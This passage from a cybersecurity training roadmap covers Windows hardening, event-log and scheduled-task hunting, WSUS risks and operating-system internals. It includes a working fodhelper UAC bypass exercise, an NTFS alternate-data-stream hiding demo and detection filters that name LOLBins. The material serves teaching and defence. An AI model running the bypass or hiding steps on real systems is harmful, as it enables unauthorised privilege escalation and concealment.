Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4698; StartTime=(Get-Date).AddDays(-7)} |
    Select-Object TimeCreated, Message

# Tasks with suspicious action paths
Get-ScheduledTask | 
    Where-Object {$_.Actions.Execute -match "powershell|cmd|wscript|cscript|mshta|regsvr32|rundll32"} |
    Select-Object TaskName, TaskPath, @{N='Action';E={$_.Actions.Execute}}, @{N='Args';E={$_.Actions.Arguments}}

13. Windows Update Mechanism

13.1 How Windows Update Works

Windows Update is the patch delivery mechanism for Windows. Understanding it matters for security in both directions:

As a defender:

Patch management is one of the most impactful security controls. A significant percentage of breaches exploit known vulnerabilities with available patches.
Understanding the update pipeline helps you verify updates are being applied.

As an attacker/pentester:

Identifying unpatched systems and their missing patches is a standard enumeration step.
Windows Update services themselves have been attack vectors.

Architecture:

Microsoft Update Servers (update.microsoft.com)
        ↓ (WSUS can intercept this in enterprise)
WSUS (Windows Server Update Services) — enterprise update management
        ↓
Windows Update Client (wuauserv service)
        ↓
Downloaded updates staged in C:\Windows\SoftwareDistribution\Download\
        ↓
Windows Module Installer (TrustedInstaller) applies updates
        ↓
C:\Windows\WinSxS\ (Component Store) updated
        ↓
Reboot may be required

13.2 Update Components and Their Security Implications

Windows Update Agent (wuauserv):
The service that checks for, downloads, and installs updates. Runs as NETWORK SERVICE with some SYSTEM privileges.

TrustedInstaller:
The account that actually applies Windows updates. It has higher privileges than SYSTEM for modifying Windows system files. Standard SYSTEM processes cannot modify files owned by TrustedInstaller — this protects core Windows files.

# Check update status
Get-WindowsUpdateLog  # Parses ETW update logs into readable text

# Check installed updates
Get-HotFix | Sort-Object InstalledOn -Descending | Select-Object -First 20

# Check for missing updates (requires PSWindowsUpdate module)
Install-Module PSWindowsUpdate
Get-WindowsUpdate

13.3 Windows Update Attack Surface

WSUS HTTP — Man-in-the-Middle:
In enterprise environments, Windows Update traffic is often routed through an internal WSUS server. If WSUS is configured to use HTTP instead of HTTPS, the update traffic can be intercepted. The WSUSpendu and PyWSUS tools demonstrated that a network-positioned attacker on an HTTP WSUS network can inject a malicious update that installs with SYSTEM privileges — no authentication bypass required, because the update mechanism trusts the WSUS server.

This is a significant OT/ICS risk: many industrial control networks use internal WSUS servers, often over HTTP, for managing patches on Windows-based HMI systems.

SoftwareDistribution Folder:
Downloaded update packages are stored temporarily in C:\Windows\SoftwareDistribution\Download\. This folder can contain sensitive information about installed software versions and pending patches. It can also be used as a staging area for malware that mimics the naming conventions of legitimate updates.

13.4 Patch Management for Security

# Check which security patches are missing compared to Microsoft's catalog
# Use this in combination with vulnerability scanners

# Check the last time updates were checked/applied
(New-Object -ComObject "Microsoft.Update.AutoUpdate").Results

# Force update check
wuauclt.exe /detectnow
# Or on modern Windows:
UsoClient.exe StartScan

# Check Windows version and build for vulnerability research
[System.Environment]::OSVersion
(Get-ComputerInfo).WindowsVersion
(Get-ComputerInfo).OsHardwareAbstractionLayer

For penetration testing — identifying missing patches:

# Get OS version and all installed hotfixes for comparison against known vulnerabilities
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"Hotfix(s)"

# Cross-reference with:
# - Microsoft Security Update Guide: msrc.microsoft.com
# - NIST NVD: nvd.nist.gov
# - Exploit-DB: exploit-db.com
# Tools: windows-exploit-suggester.py, WinPEAS, Sherlock.ps1

14. Key Takeaways and Security Mindset

14.1 Windows Is a Layered System — Understand Every Layer

Registry          → Configuration storage, persistence mechanism
Services          → Long-running execution, privilege context
Scheduled Tasks   → Time/event-based execution, persistence
Token system      → Identity and privilege, impersonation attacks
UAC               → Privilege separation (not a security boundary)
Windows Firewall  → Network access control
Defender + AMSI   → Content inspection (bypassable but raises the bar)
Event Log         → The audit trail for everything above
PowerShell        → The administration interface (attacker's playground, defender's toolkit)

14.2 "Living off the Land" Is the Default Attack Mode

Modern attackers rarely bring their own tools. They use:

PowerShell — download cradles, remote execution, credential access
CMD — basic enumeration, persistence via schtasks, reg
WMI — remote execution, persistence, information gathering
certutil, bitsadmin, mshta — download and execute payloads
regsvr32, rundll32 — proxy execution of malicious code

These are LOLBins (Living off the Land Binaries) — legitimate Windows tools used maliciously. Your detections must account for legitimate tools used in illegitimate ways. This is why understanding context (who ran it, from what parent process, with what arguments, to what network destination) matters more than just the binary name.

14.3 Every Setting Is a Security Decision

Every Windows configuration option covered in this module represents a security trade-off:

UAC disabled → convenience, security risk
PowerShell logging disabled → performance, visibility loss
Defender exclusions → compatibility, detection gap
Firewall rules → functionality, attack surface
Windows Update disabled → stability (in OT), vulnerability exposure

There is no "set and forget" secure configuration. Security is an ongoing process of auditing, adjusting, and monitoring.

14.4 For OT/ICS Windows Systems

Legacy Windows is endemic in OT. Windows XP runs on HMIs in active production facilities today in 2025. Windows XP has no ASLR, no NX (hardware not required to support it), no UAC, no Defender, no modern event log. Every technique in this module is far easier on legacy Windows.
Windows Update is often disabled in OT environments for "stability." This creates chronic unpatched vulnerability exposure.
PowerShell remoting (WinRM) is sometimes enabled on OT workstations for remote management. This is an enormous attack surface in environments without proper network segmentation.
WSUS over HTTP is common in OT networks — a significant vulnerability.

15. Hands-On Exercises

Exercise 1: Registry Hunt for Persistence (45 minutes)

# Audit all autorun locations on your machine
# Install and run Autoruns from Sysinternals first
# Then manually verify the top findings:

# 1. Check all Run keys
$runPaths = @(
    "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
    "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce",
    "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run",
    "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce",
    "HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run"
)
foreach ($path in $runPaths) {
    Write-Host "`n=== $path ===" -ForegroundColor Yellow
    Get-ItemProperty -Path $path -ErrorAction SilentlyContinue
}

# 2. For each entry, verify:
#    - Is the binary in an expected location?
#    - Is it digitally signed?
#    - Who is the publisher?
Get-AuthenticodeSignature "C:\path\to\executable.exe" | Select-Object Status, SignerCertificate

# 3. Check services for suspicious configurations
Get-WmiObject Win32_Service |
    Where-Object {$_.StartMode -eq 'Auto' -and $_.State -eq 'Running'} |
    Select-Object Name, PathName, StartName |
    Where-Object {$_.PathName -notmatch 'System32|SysWOW64'} |
    Format-Table -Wrap

Exercise 2: Event Log Security Audit (1 hour)

# Build a mini-investigation from Event Logs

# 1. Find all logon events from the last 7 days
$logons = Get-WinEvent -FilterHashtable @{
    LogName='Security'; Id=4624; StartTime=(Get-Date).AddDays(-7)
} -ErrorAction SilentlyContinue

Write-Host "Total logon events (7 days): $($logons.Count)"

# 2. Analyse logon types
$logons | ForEach-Object {
    $xml = [xml]$_.ToXml()
    $xml.Event.EventData.Data | Where-Object {$_.Name -eq 'LogonType'} | 
        Select-Object -ExpandProperty '#text'
} | Group-Object | Sort-Object Count -Descending | 
    Format-Table -Property @{N='LogonType';E={$_.Name}}, Count

# 3. Find any suspicious process creation (4688 - requires audit policy)
Get-WinEvent -FilterHashtable @{
    LogName='Security'; Id=4688; StartTime=(Get-Date).AddDays(-1)
} -ErrorAction SilentlyContinue | 
    Select-Object TimeCreated, Message | 
    Where-Object {$_.Message -match 'powershell|cmd|wscript|cscript|mshta'} |
    Format-List

# 4. Check if log was cleared (should return nothing on a clean system)
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=1102} -ErrorAction SilentlyContinue |
    Select-Object TimeCreated, Message

Exercise 3: UAC Bypass (Lab Environment Only)

Set up a VM with a local admin account (not domain joined) before this exercise.

# Verify current integrity level before bypass
[System.Diagnostics.Process]::GetCurrentProcess() | ForEach-Object {
    $handle = $_.Handle
}
whoami /groups | findstr "Mandatory"
# Should show: Medium Mandatory Level

# fodhelper UAC bypass
New-Item -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" `
    -Name "(Default)" -Value "cmd.exe" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\shell\open\command" `
    -Name "DelegateExecute" -Value "" -Force
Start-Process "C:\Windows\System32\fodhelper.exe"

# In the new cmd window that opens:
whoami /groups | findstr "Mandatory"
# Should now show: High Mandatory Level — elevated without UAC prompt

# Cleanup — always clean up after testing
Remove-Item -Path "HKCU:\Software\Classes\ms-settings\" -Recurse -Force

Exercise 4: PowerShell Logging Verification

# 1. Enable Script Block Logging
$sbPath = "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"
New-Item -Path $sbPath -Force
New-ItemProperty -Path $sbPath -Name "EnableScriptBlockLogging" -Value 1 -PropertyType DWORD -Force

# 2. Run a test script that would look suspicious
Invoke-Expression "Write-Host 'This is a test of script block logging'"
[System.Convert]::FromBase64String("VGhpcyBpcyBiYXNlNjQ=")  # Decode base64

# 3. Find the logged event
Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" |
    Where-Object {$_.Id -eq 4104} |
    Select-Object -First 5 |
    Select-Object TimeCreated, Message |
    Format-List

# 4. Understand what you see — the decoded content is logged, not just the encoded form

Exercise 5: Scheduled Task Analysis

# Complete scheduled task audit
Get-ScheduledTask | ForEach-Object {
    $task = $_
    $actions = $task.Actions | ForEach-Object {
        "$($_.Execute) $($_.Arguments)"
    }
    [PSCustomObject]@{
        Name      = $task.TaskName
        Path      = $task.TaskPath
        State     = $task.State
        RunAs     = $task.Principal.UserId
        Triggers  = ($task.Triggers | ForEach-Object {$_.GetType().Name}) -join ", "
        Actions   = $actions -join " | "
    }
} | Where-Object {
    # Flag potentially suspicious tasks
    $_.Actions -match "powershell|cmd\.exe|wscript|cscript|mshta|regsvr32" -or
    $_.RunAs -match "SYSTEM|S-1-5-18"
} | Format-Table Name, Path, RunAs, Actions -Wrap

16. Further Reading and Resources

Essential Reading

"Windows Internals" (Parts 1 & 2) — Russinovich, Solomon, Ionescu. The definitive Windows OS reference. Heavy but essential.
"The Hacker Playbook 3" — Peter Kim. Windows post-exploitation and Active Directory attacks with practical examples.
MITRE ATT&CK for Windows — attack.mitre.org — map every technique in this module to real adversary TTPs.

Microsoft Documentation

Windows Security documentation: docs.microsoft.com/windows/security
Windows Event IDs reference: docs.microsoft.com/windows/security/threat-protection/auditing
Attack Surface Reduction rules: docs.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction-rules-reference

Essential Tools

Sysinternals Suite (mandatory download):
https://learn.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite

Key tools:
- Autoruns      → Persistence auditing
- Process Explorer → Process investigation
- Process Monitor → Real-time file/registry/process activity
- TCPView        → Network connections to processes
- Strings        → Extract strings from binaries
- PsExec         → Remote execution (also understand as attack tool)
- AccessChk      → Permission auditing
- Sigcheck       → Verify digital signatures

Practice Platforms

TryHackMe — "Windows Fundamentals 1-3" (free), "Blue" room, "Advent of Cyber"
HackTheBox — Windows-based machines (Easy tier for starting)
CyberDefenders — Windows forensics blue team challenges
LetsDefend — SOC analyst scenarios heavily focused on Windows

Reference Sites

LOLBAS Project (lolbas-project.github.io) — Living off the Land Binaries and Scripts
UAC Bypass Techniques — github.com/hfiref0x/UACME — comprehensive UAC bypass collection with explanations
PayloadsAllTheThings — github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md

Module Summary

Topic	Core Security Application
Windows Architecture	ntoskrnl, lsass, svchost — process impersonation, credential access
Registry	Persistence (Run keys), credential extraction (SAM/SYSTEM), forensic artefacts
User/Group Management	Privilege escalation via group membership, token impersonation
Services	Unquoted paths, weak binary permissions — service-based privesc
Task Manager / Event Viewer	Anomaly detection, forensic investigation, key Event IDs
Windows Defender / AMSI	Understanding evasion to build better detections
UAC	Integrity levels, bypass techniques, not a security boundary
Windows Firewall	Host-based filtering, attacker modifications, WFP architecture
PowerShell	LOLBin #1 — download cradles, encoding, script block logging
CMD	Basic LOLBins, service manipulation, scheduled task abuse
Task Scheduler	Most common persistence mechanism — creation, detection
Windows Update	WSUS poisoning risk, patch management, identifying missing patches

Next Module: Stage 0.4 — Linux Fundamentals

Previous Module: Stage 0.2 — Operating System Fundamentals

Series Index: Full Roadmap Index

This document is part of the Cybersecurity × OT/ICS Security Full Roadmap series. All techniques described are presented strictly for educational purposes, authorised security research, and defensive security practice. Always obtain proper authorisation before testing any system.

Stage 0.2 — Operating System Fundamentals

Rençber AKMAN — Wed, 27 May 2026 05:57:14 +0000

From Zero to Cybersecurity Professional | Complete Roadmap Series

Series: Cybersecurity × OT/ICS Security — Full Roadmap

Stage: 0 — Computer Science Foundations

Module: 0.2 — Operating System Fundamentals

Level: Beginner → Intermediate

Prerequisites: Stage 0.1 — Hardware Fundamentals

Next Module: 0.3 — Windows Fundamentals

Why Operating Systems Matter in Cybersecurity
What Is an Operating System and How Does It Work
The Kernel — The Heart of Everything
User Mode vs Kernel Mode
Processes and Threads
File System Structures — NTFS, ext4, FAT32
Memory Management
System Calls
Key Takeaways and Security Mindset
Hands-On Exercises
Further Reading and Resources

1. Why Operating Systems Matter in Cybersecurity

Every single attack you will ever study, execute in a lab, or defend against happens inside an operating system. Malware runs as a process. Privilege escalation exploits the boundary between user mode and kernel mode. Ransomware encrypts files by abusing the file system. Rootkits hook into the kernel. Memory injection attacks manipulate process memory. Shell access means OS access.

If you do not understand how an operating system works from the inside, you are essentially trying to pick a lock without knowing how a lock works. You might get lucky occasionally, but you will never be consistent, and you will never be truly dangerous as a professional.

For your OT/ICS path specifically: SCADA systems, PLCs, RTUs, and HMIs all run operating systems — sometimes Windows, sometimes Linux, sometimes proprietary real-time operating systems (RTOS). When you assess the security of a power substation's control system or a hospital's building management system, you are assessing an OS. Understanding the foundations here carries directly into every specialised area you will encounter later.

The security mindset for this module: The OS is both the defender and the battlefield. Attackers abuse OS mechanisms. Defenders understand the same mechanisms to detect abuse. There is no shortcut around this.

2. What Is an Operating System and How Does It Work

2.1 The Core Definition

An operating system is software that acts as an intermediary between hardware and applications. It does three fundamental things:

Abstracts hardware — Applications do not talk to hardware directly. They talk to the OS, which talks to hardware. This is why the same Python script runs on Intel, AMD, and ARM without modification.
Manages resources — CPU time, RAM, storage, and I/O devices are shared among many processes. The OS decides who gets what and when.
Enforces isolation and security — The OS ensures one process cannot read another process's memory, one user cannot access another user's files, and unprivileged code cannot control hardware directly.

2.2 Major Operating System Families

Family	Examples	Primary Use	Security Relevance
Windows NT	Windows 10/11, Windows Server	Desktop, enterprise	Most attacked OS in the world; AD environments
Unix/Linux	Ubuntu, Debian, CentOS, Kali	Servers, embedded, security tools	Most servers run Linux; all security tools target it
macOS	macOS Ventura, Sonoma	Apple desktops/laptops	Growing target; shares Unix base with Linux
Android	Android 13/14	Mobile	Linux kernel underneath
RTOS	VxWorks, QNX, FreeRTOS	Industrial, embedded, OT	PLCs, RTUs, medical devices, avionics
Proprietary ICS OS	Various vendor-specific	SCADA, HMI	Legacy, rarely patched, extremely vulnerable

OT/ICS Note: The RTOS family is critical for your path. VxWorks runs on Boeing 737 systems, Mars rovers, and countless industrial controllers. QNX powers car infotainment, medical devices, and industrial automation. These systems have their own vulnerability profiles and attack surfaces that differ significantly from Windows or Linux. Understanding general OS concepts here gives you the foundation to approach any OS — including the proprietary ones you will encounter in industrial environments.

2.3 The OS Architecture — Big Picture

┌─────────────────────────────────────────────────┐
│              USER APPLICATIONS                  │
│    (Browser, Word, Malware, Security Tools)     │
├─────────────────────────────────────────────────┤
│              SYSTEM LIBRARIES                   │
│         (glibc, Win32 API, POSIX)               │
├─────────────────────────────────────────────────┤
│              SYSTEM CALL INTERFACE              │
│         (The bridge between worlds)             │
├═════════════════════════════════════════════════╡  ← Security Boundary
│                  KERNEL                         │
│  ┌──────────┐ ┌──────────┐ ┌────────────────┐  │
│  │ Process  │ │ Memory   │ │  File System   │  │
│  │ Manager  │ │ Manager  │ │  Driver        │  │
│  ├──────────┤ ├──────────┤ ├────────────────┤  │
│  │ Network  │ │ Device   │ │  Security      │  │
│  │ Stack    │ │ Drivers  │ │  Module        │  │
│  └──────────┘ └──────────┘ └────────────────┘  │
├─────────────────────────────────────────────────┤
│              HARDWARE                           │
│      (CPU, RAM, Disk, Network Interface)        │
└─────────────────────────────────────────────────┘

This layered architecture is the foundation of every security concept you will study. The line between user applications and the kernel is the most important security boundary in modern computing.

2.4 Monolithic vs Microkernel vs Hybrid

Understanding kernel architecture types gives you insight into why different OSes have different attack surfaces:

Monolithic Kernel (Linux):
All OS services — file systems, device drivers, network stack — run in kernel space (Ring 0). Fast because there is no context switching between kernel components. But a bug in any driver can crash or compromise the entire system.

Linux Kernel Space:
[Scheduler] [Memory Manager] [File Systems] [Network Stack] [Drivers] — all at Ring 0

Microkernel (QNX, Minix):
Only the bare minimum runs in kernel space. Everything else — drivers, file systems — runs in user space. A bug in a driver does not crash the kernel. Slower due to inter-process communication overhead but much more fault-tolerant.

QNX Kernel Space: [IPC] [Scheduler] [Basic Memory] — minimal
User Space:       [Drivers] [File Systems] [Network Stack] — isolated

Hybrid Kernel (Windows NT, macOS XNU):
A pragmatic blend. Core services in kernel, some services in user space. Windows has a separate subsystem process (csrss.exe) for some Win32 services, but most runs in kernel space for performance.

Security Insight: QNX's microkernel design is why it is used in safety-critical systems — a fault in one component does not take down the entire system. This is directly relevant to OT/ICS: when evaluating industrial systems, the kernel architecture tells you a lot about fault isolation and what happens when one component is compromised.

3. The Kernel — The Heart of Everything

3.1 What the Kernel Is

The kernel is the core of the operating system. It is the first software that loads after the bootloader and the last software that runs. It is the only software with direct, unrestricted access to hardware.

Everything else — every application, every service, every process — runs in a sandboxed environment and must ask the kernel for resources through a controlled interface called system calls.

The kernel has four primary responsibilities:

1. Process Management
Creating, scheduling, pausing, and killing processes. Deciding which process runs on which CPU core at what time.

2. Memory Management
Allocating and freeing RAM. Creating virtual address spaces for each process. Enforcing memory isolation between processes.

3. Device Management
Communicating with hardware via device drivers. Abstracting hardware differences so applications do not need hardware-specific code.

4. File System Management
Organising storage into a consistent interface. Enforcing access permissions on files and directories.

3.2 The Kernel as the Ultimate Security Authority

The kernel enforces every software-level security control:

File permissions — The kernel checks if you have read/write/execute permission before allowing file access.
Process isolation — The kernel enforces that Process A cannot read Process B's memory.
Privilege enforcement — The kernel enforces that user-mode code cannot execute privileged CPU instructions.
Network filtering — Firewall rules in the OS (iptables, Windows Firewall) run in the kernel's network stack.

The consequence: If an attacker controls the kernel, they control all of these security mechanisms. They can disable file permission checks. They can read any process's memory. They can hide their processes from the process list. They can intercept all network traffic. A kernel-level compromise is total compromise.

This is why kernel exploits are so valuable and so dangerous. It is also why rootkits target the kernel — because that is where the security controls live, and controlling the controller means controlling everything.

3.3 Kernel Modules and Drivers — The Expansion Surface

The kernel can be extended at runtime through loadable modules (Linux) or drivers (Windows). These modules run in kernel space with full Ring 0 privilege.

Linux Kernel Modules:

# List loaded kernel modules
lsmod

# Load a module
sudo modprobe <module_name>

# Remove a module
sudo rmmod <module_name>

Security Implication: Loading a malicious kernel module gives an attacker complete, persistent control over the system. This is exactly how kernel rootkits work — they load a malicious module that:

Hides files from directory listings
Hides processes from tools like ps and Task Manager
Hides network connections from netstat
Captures keystrokes
Intercepts and modifies system call results

Real-world example: The Azazel rootkit, Reptile rootkit, and numerous APT implants use kernel module techniques on Linux. On Windows, rootkits like TDL4 (Alureon) modified the boot process to load malicious kernel drivers before Windows security initialised.

Kernel Module Signing: Modern kernels require modules to be cryptographically signed by a trusted key. On Linux with Secure Boot enabled, unsigned modules are rejected. Attackers bypass this by exploiting vulnerabilities in legitimate signed drivers — this is called BYOVD (Bring Your Own Vulnerable Driver), a technique used by threat groups like Lazarus and BlackByte ransomware operators.

Key Security Concept: BYOVD is currently one of the most important kernel-level attack techniques in the wild. The attacker does not need to write a malicious driver from scratch. They bring a legitimate, signed driver that has a known vulnerability, exploit it to gain kernel-level code execution, and then use that access to disable security software or install a rootkit. Understanding kernel modules is the prerequisite for understanding this class of attack.

4. User Mode vs Kernel Mode

4.1 The Fundamental Division

This concept is so important it deserves its own section. Modern CPUs implement a hardware-enforced privilege separation between two execution contexts:

┌─────────────────────────────────────────────────┐
│              KERNEL MODE (Ring 0)               │
│                                                 │
│  • Direct hardware access                       │
│  • All CPU instructions available               │
│  • Full memory access                           │
│  • No restrictions                              │
│                                                 │
│  OS Kernel, Device Drivers, Kernel Modules      │
│                                                 │
├─────────────────────────────────────────────────┤  ← Hardware-enforced boundary
│              USER MODE (Ring 3)                 │
│                                                 │
│  • No direct hardware access                    │
│  • Privileged instructions cause exception      │
│  • Only own process memory accessible           │
│  • Must use system calls to request resources   │
│                                                 │
│  Applications, Services, Malware, Your Code     │
│                                                 │
└─────────────────────────────────────────────────┘

4.2 Why This Boundary Exists

Without this separation, any program could:

Overwrite the OS kernel in memory.
Read passwords from other processes.
Disable security software by killing its process.
Directly write to disk, bypassing file system permissions.
Send arbitrary network packets, bypassing firewalls.

The boundary prevents all of this. A bug in a user-mode application can crash that application. A bug in a kernel-mode component can crash the entire system (Blue Screen of Death on Windows, Kernel Panic on Linux).

4.3 How the Transition Works

When a user-mode program needs something that requires kernel-mode access — reading a file, creating a network socket, allocating memory — it makes a system call. This is a controlled, intentional crossing of the boundary:

User Mode Application
        │
        │  Calls: read(fd, buffer, count)  [C library wrapper]
        │
        ▼
System Library (glibc / ntdll.dll)
        │
        │  Issues: SYSCALL instruction (x86-64 Linux)
        │          or SYSENTER / INT 0x80 (older)
        │          or SYSCALL via ntdll (Windows)
        │
        ▼
CPU switches to Ring 0, kernel takes over
        │
        │  Kernel: validates parameters, checks permissions,
        │          performs the actual operation
        │
        ▼
CPU switches back to Ring 3
        │
        ▼
User Mode Application receives result

The system call interface is the only legitimate way to cross from user mode to kernel mode. Every file read, every network connection, every process creation goes through this path.

4.4 Security Attacks on This Boundary

The user mode / kernel mode boundary is one of the most attacked boundaries in computing:

Local Privilege Escalation (LPE):
A vulnerability in a kernel system call handler that allows user-mode code to execute with kernel privileges or gain root/SYSTEM access. These are among the most valuable vulnerabilities in offensive security.

Examples:

CVE-2021-4034 (PwnKit) — A 12-year-old vulnerability in pkexec that allowed any user to escalate to root on virtually every Linux distribution. Trivially exploitable, required no special conditions.
CVE-2020-0796 (SMBGhost) — A kernel vulnerability in Windows 10's SMB driver. Allowed unauthenticated remote code execution at kernel level.
DirtyPipe (CVE-2022-0847) — Linux kernel pipe vulnerability allowing any user to overwrite read-only files, including /etc/passwd.

Kernel Address Space Layout Randomisation (KASLR):
The kernel randomises its own memory layout to make exploitation harder. Many modern exploits first leak a kernel address to defeat KASLR before attempting privilege escalation.

SMEP and SMAP (from Stage 0.1):
CPU features that prevent the kernel from executing or accessing user-mode memory. These hardware features are specifically designed to stop kernel exploits that try to jump into user-mode shellcode.

Mindset shift: When you see a vulnerability description that says "allows local privilege escalation" or "EoP (Elevation of Privilege)," you now know exactly what is happening at the architectural level. The vulnerability crosses the user-mode / kernel-mode boundary in an unauthorised way. This understanding is what separates someone who reads exploit descriptions from someone who understands them.

4.5 Windows-Specific: Sessions, Integrity Levels, and Protected Processes

Windows adds additional layers on top of the basic user/kernel split:

Session 0 Isolation:
Services run in Session 0, user applications run in Session 1+. This separation prevents user applications from interacting with service windows (a vector for privilege escalation called "Shatter Attacks" in older Windows).

Integrity Levels (Mandatory Integrity Control):
Windows adds a trust level to every process and object:

Level	Examples	Can Write To
Low	Internet Explorer sandboxed, downloads	Temp folders only
Medium	Normal user applications	User's profile
High	Elevated (UAC) processes	System directories
System	Windows services, SYSTEM	Everything

A Medium integrity process cannot write to a High integrity process's memory. This is why UAC bypasses are important — they allow a Medium integrity process to elevate to High without triggering the UAC prompt.

Protected Processes Light (PPL):
Security-critical processes (antivirus engines, LSASS) can run as PPL. Even a process running as SYSTEM cannot open a PPL process with write access. This is why Mimikatz requires a kernel driver to dump credentials from LSASS on modern Windows — it cannot access LSASS from user mode even as SYSTEM.

5. Processes and Threads

5.1 What Is a Process

A process is an instance of a running program. When you double-click notepad.exe, Windows creates a process. That process has:

Its own virtual address space — 4 GB on 32-bit, 128 TB on 64-bit
Its own set of handles — open files, network sockets, registry keys
Its own security context — the user account it runs as, its integrity level
At least one thread — the actual execution unit

Processes are isolated from each other. Process A cannot read Process B's memory directly. The kernel enforces this through the MMU's page table mechanism.

5.2 What Is a Thread

A thread is the actual unit of execution within a process. A process can have one thread or thousands. Threads within the same process share:

The virtual address space
Open handles
The security context

But each thread has its own:

Stack — local variables, function call chain, return addresses
Register state — what the CPU was doing when this thread last ran
Thread ID (TID)

Process (notepad.exe)
├── Virtual Address Space (shared)
├── Heap (shared)
├── Open Handles (shared)
│
├── Thread 1 (Main UI thread)
│   ├── Stack
│   └── Registers (RIP, RSP, ...)
│
├── Thread 2 (Background save thread)
│   ├── Stack
│   └── Registers
│
└── Thread 3 (Spell check thread)
    ├── Stack
    └── Registers

5.3 Process Creation — What Happens Under the Hood

Understanding process creation is critical for malware analysis and process injection attacks.

On Linux:

fork()   → Creates a copy of the current process (parent → child)
exec()   → Replaces the current process image with a new program

The combination of fork() + exec() is how every new process is created on Unix-like systems. The shell forks itself, then the child calls exec() to become the new program.

On Windows:

CreateProcess() → All-in-one API to create a new process

Windows uses a single API call, but internally it creates a new process object, maps the executable, creates the initial thread, and loads required DLLs.

Security Relevance — Process Injection:

Because threads within a process share memory, attackers inject malicious code into legitimate processes to:

Hide malicious activity under a trusted process name (svchost.exe, explorer.exe)
Inherit the security context of the target process (impersonation)
Bypass application whitelisting (code runs inside a whitelisted process)

Common injection techniques you will study later:

Classic DLL injection — Write shellcode to target process memory, create remote thread
Process hollowing — Create suspended process, replace its memory with malicious image
Thread hijacking — Suspend a thread, overwrite its context to redirect execution
APC injection — Queue asynchronous procedure calls to a thread

All of these techniques manipulate the process and thread model described here.

5.4 Process Scheduling

The OS scheduler decides which thread runs on which CPU core at what time. Modern schedulers are preemptive — the OS can interrupt a running thread at any moment and give CPU time to another thread. This is why your computer can run many programs "simultaneously" on a small number of cores.

Security Relevance — Race Conditions:

Scheduling creates time-of-check to time-of-use (TOCTOU) vulnerabilities. The OS checks if you have permission to access a file, then accesses it. Between the check and the use, another thread can swap the file for a different one. The check was valid, but the use is on the wrong file.

CVE-2022-21999 (Windows Print Spooler) and the famous Dirty COW (CVE-2016-5195) Linux kernel vulnerability are TOCTOU race conditions. Dirty COW allowed any local user to write to read-only memory mappings by winning a race in the kernel's copy-on-write implementation — gaining root in seconds on virtually every Linux system in existence at the time.

5.5 Viewing Processes in Practice

Windows:

# List all processes with details
Get-Process | Select-Object Name, Id, CPU, WorkingSet, Path

# Find process by name
Get-Process -Name "notepad"

# Show process tree (parent-child relationships)
Get-CimInstance Win32_Process | Select-Object ProcessId, ParentProcessId, Name, ExecutablePath

# Sysinternals Process Explorer — industry standard for process investigation
# Download: https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer

Linux:

# Full process list with details
ps aux

# Process tree — shows parent-child relationships
pstree -p

# Real-time process monitor
top
htop  # Better version, install with: sudo apt install htop

# Detailed info for specific process
ls -la /proc/<PID>/
cat /proc/<PID>/status
cat /proc/<PID>/maps    # Memory map
cat /proc/<PID>/cmdline # Command that started this process
ls -la /proc/<PID>/fd/  # Open file descriptors

Analyst Note: During malware analysis and incident response, understanding process parent-child relationships is crucial. Legitimate process trees have predictable structures. Malware reveals itself through anomalies — cmd.exe spawned by excel.exe, powershell.exe spawned by winword.exe, or any process with a PPID that does not make logical sense. This is a core detection technique used in every SOC and EDR product.

6. File System Structures — NTFS, ext4, FAT32

6.1 What Is a File System

A file system is the method an OS uses to organise, store, and retrieve data on a storage device. Without a file system, a disk is just raw sectors of binary data. The file system imposes structure — files, directories, permissions, metadata — that makes the data usable.

Understanding file systems is essential for:

Digital forensics — recovering deleted files, analysing timestamps, finding hidden data
Privilege escalation — exploiting misconfigured file permissions
Malware analysis — understanding where malware stores itself and what it modifies
Incident response — understanding what was accessed, modified, or deleted and when

6.2 NTFS — Windows File System

NTFS (New Technology File System) has been the primary Windows file system since Windows NT 3.1 (1993). It is a journaling file system with rich security features.

NTFS Structure

The most important structure in NTFS is the MFT (Master File Table). The MFT is a database where every file and directory on the volume has at least one record. Think of it as the file system's index.

MFT Record (1024 bytes per record):
├── Standard Information  → Timestamps (Created, Modified, Accessed, MFT Changed)
├── File Name            → The file's name (can have multiple for short name compatibility)
├── Security Descriptor  → Access Control List (who can read/write/execute)
├── Data Attribute       → The actual file content (or pointer to it if large)
└── Object ID            → Unique identifier for the file

NTFS Security — Access Control Lists (ACLs)

NTFS implements discretionary access control through ACLs. Every file and directory has a Security Descriptor that contains:

Owner — who owns the file
DACL (Discretionary Access Control List) — who can do what
SACL (System Access Control List) — what to audit

# View file permissions
Get-Acl C:\Windows\System32\cmd.exe | Format-List

# View in icacls format
icacls C:\Windows\System32\cmd.exe

Security Relevance: Misconfigured NTFS permissions are a primary vector for Windows privilege escalation. If a service binary is writable by a non-administrative user, that user can replace it with a malicious executable. When the service starts (often as SYSTEM), the malicious code runs with SYSTEM privileges. Tools like PowerUp and WinPEAS automate the search for these misconfigurations during post-exploitation.

NTFS Alternate Data Streams (ADS)

This is one of the most important NTFS features from a security perspective.

NTFS supports multiple data streams per file. Every file has a default, unnamed data stream (:$DATA) that contains the file's contents. But a file can have additional named streams that are completely invisible in normal directory listings.

# Create an alternate data stream
echo "hidden malicious content" > legitimate_file.txt:hidden_stream

# The file appears normal in directory listing
dir legitimate_file.txt
# Output: legitimate_file.txt  (shows only the main stream's size)

# The hidden content is there
more < legitimate_file.txt:hidden_stream
# Output: hidden malicious content

# Find ADS on a system
dir /r  # /r flag shows alternate data streams
